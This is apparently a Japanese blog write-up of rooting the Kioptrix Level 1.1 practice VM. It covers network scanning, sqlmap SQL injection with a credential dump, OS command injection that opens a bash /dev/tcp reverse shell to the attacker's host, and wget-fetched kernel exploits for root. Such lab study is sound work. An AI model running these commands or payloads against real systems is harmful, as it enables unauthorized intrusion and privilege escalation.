Kioptrix: Level 1.1解く
Kioptrix: Level 1.1解く
ここから1つやる
調査
netdiscover
では対象マシンが見つからなかったため、arp-scan
コマンドを使用する。
攻撃対象のマシンのIPアドレスが分かった。
nmap
を叩く
80
や3306
が開いている為、何かしらのWebサービスとMysql DBが動いていると予想できる。
詳細を調べる。
$ nmap -sV -sC 192.168.56.103
nikto
特に脆弱性があるようには見えない
nikto
の情報からphp
で組まれていると予想。dirs3arch
で総当たりする
ブラウザで開いてみる
ログインフォームが表示される。
http://192.168.56.103/
とhttp://192.168.56.103/index.php/login
は同じページっぽい。
loginフォームに対して攻撃できないか試してみる。
XSSは反応がわかりづらそう(あんまり意味なさそう)なのでSQL Injectionの方で調査していくことに
パラメータを調べるためにBurp Suiteを起動する
ソースコードを見た方が早いね
username
がuname
、password
がpsw
だとわかる。これを元にsqlmap
で調べる。
$ sqlmap -o -u "http://192.168.56.103/index.php/login" --dbms MySQL --data "uname=username&psw=password" --risk=1
psw
というパラメータにSQL Injectionkの脆弱性が見つかる。
試しに入れてログインしてみるとログインできた
ログインすると以下のページが表示される
pingが送れるのかな?
試しに127.0.0.1
を入れてみるとログインフォームに戻されるので、正規のパスワードを取得する必要がある。
--dump
オプションをつけて表示させる。
2人のユーザのuname
とpsw
がわかる。
しかしadmin
アカウントでログインし、127.0.0.1
を入れsubmit
を押すが、なぜかログインフォームに戻される。
https
でアクセスしたらログイン状態が保持されたのでhttpsで接続するようにした。
無事ログインできたのでpingを送信してみる。
若年の感からOS command Injection通りそうなので試してみると、以下のような形式でコマンドが通ることがわかった。
; ifconfig
普通ですね。
OS Command Injectionが通るのでnc
でリバースシェルを張る事にする。
payload書く
下記の記事を丸々参考にしました。
- 攻撃対象に送信する文字列
;bash -i >& /dev/tcp/192.168.56.102/8000 0>&1
※ 192.168.56.102は攻撃者のIPアドレス
- 攻撃者のマシンで待ち受けておく
nc -nvlp 8000
あとはこれを実行してやる事でshellが取れる
とったshellはapache
の権限しかない
なので、管理者の権限にする方法を探る
OSやkernelなどのバージョンを見てみる。
OSのバージョンが明らかに古いので、脆弱性があるかを調べてみる
$ searchsploit centos 4.5
脆弱性が見つかった。
9542.c
が条件を満たしている。
payloadをworkディレクトリにコピーして、攻撃対象のサーバに送る。
$ cp $(locate 9542.c) . $ python3 -m http.server 8000
あとはshellを張っている攻撃対象のマシンからwget
で取得すればいいのだが、権限の問題でファイルを作成できない場所があるので適当な場所に移動して落としてくる
$ cd /tmp $ wget 192.168.56.102:8000/9542.c # download $ gcc 9542.c # build $ chmod +x a.out $ ./a.out # run
すると以下のように表示され、うまく走らない
[-] exploit failed, try again
ビルド時にwarningが出ていたのでそれが原因なのかもしれない
warningの内容を調べてみると最後の行に改行が入ってないという警告らしい。
しかし改行を入れて再びビルドしてやるとwarningは消えたがまだ実行時にこける...
詰まったので断腸の思いで少しだけwriteupを見る事にします。
上のブログが私と同じように[-] exploit failed, try again
が発生しており、他の脆弱性を探す方向にシフトしています。
仕方ないので私も他の方法で権限を昇格させる事にしました。
wget
でツールをコピーしてきて
$ wget 192.168.56.102:8000/linuxprivchecker.py
攻撃対象のマシンで実行してやる
$ python linuxprivchecker.py
たくさん出てきた。
sock_sendpage()
っていうのを使ってみる事にする。
$ cp $(locate 9598.txt) .
テキストファイルなので中をみる
This is the second version of Linux sock_sendpage() NULL pointer dereference exploit. Now, it also works with Linux kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with that types. https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz (2009-linux-sendpage2.tar.gz) milw0rm.com [2009-09-09]
別の場所からバイナリを落として来ないといけないらしい。
$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz
手順通りにファイルを落としてきて実行してやる。
$ run
いろいろ回り道したけどrootをとることができた~
感想
他の人のwriteupをみると、mysqlの脆弱性から権限を昇格したりしている。
$ ps -A
などで動いているプロセスを確認してそこからいろいろやるのも面白そう
PS: 最近hacktheboxにハマってます。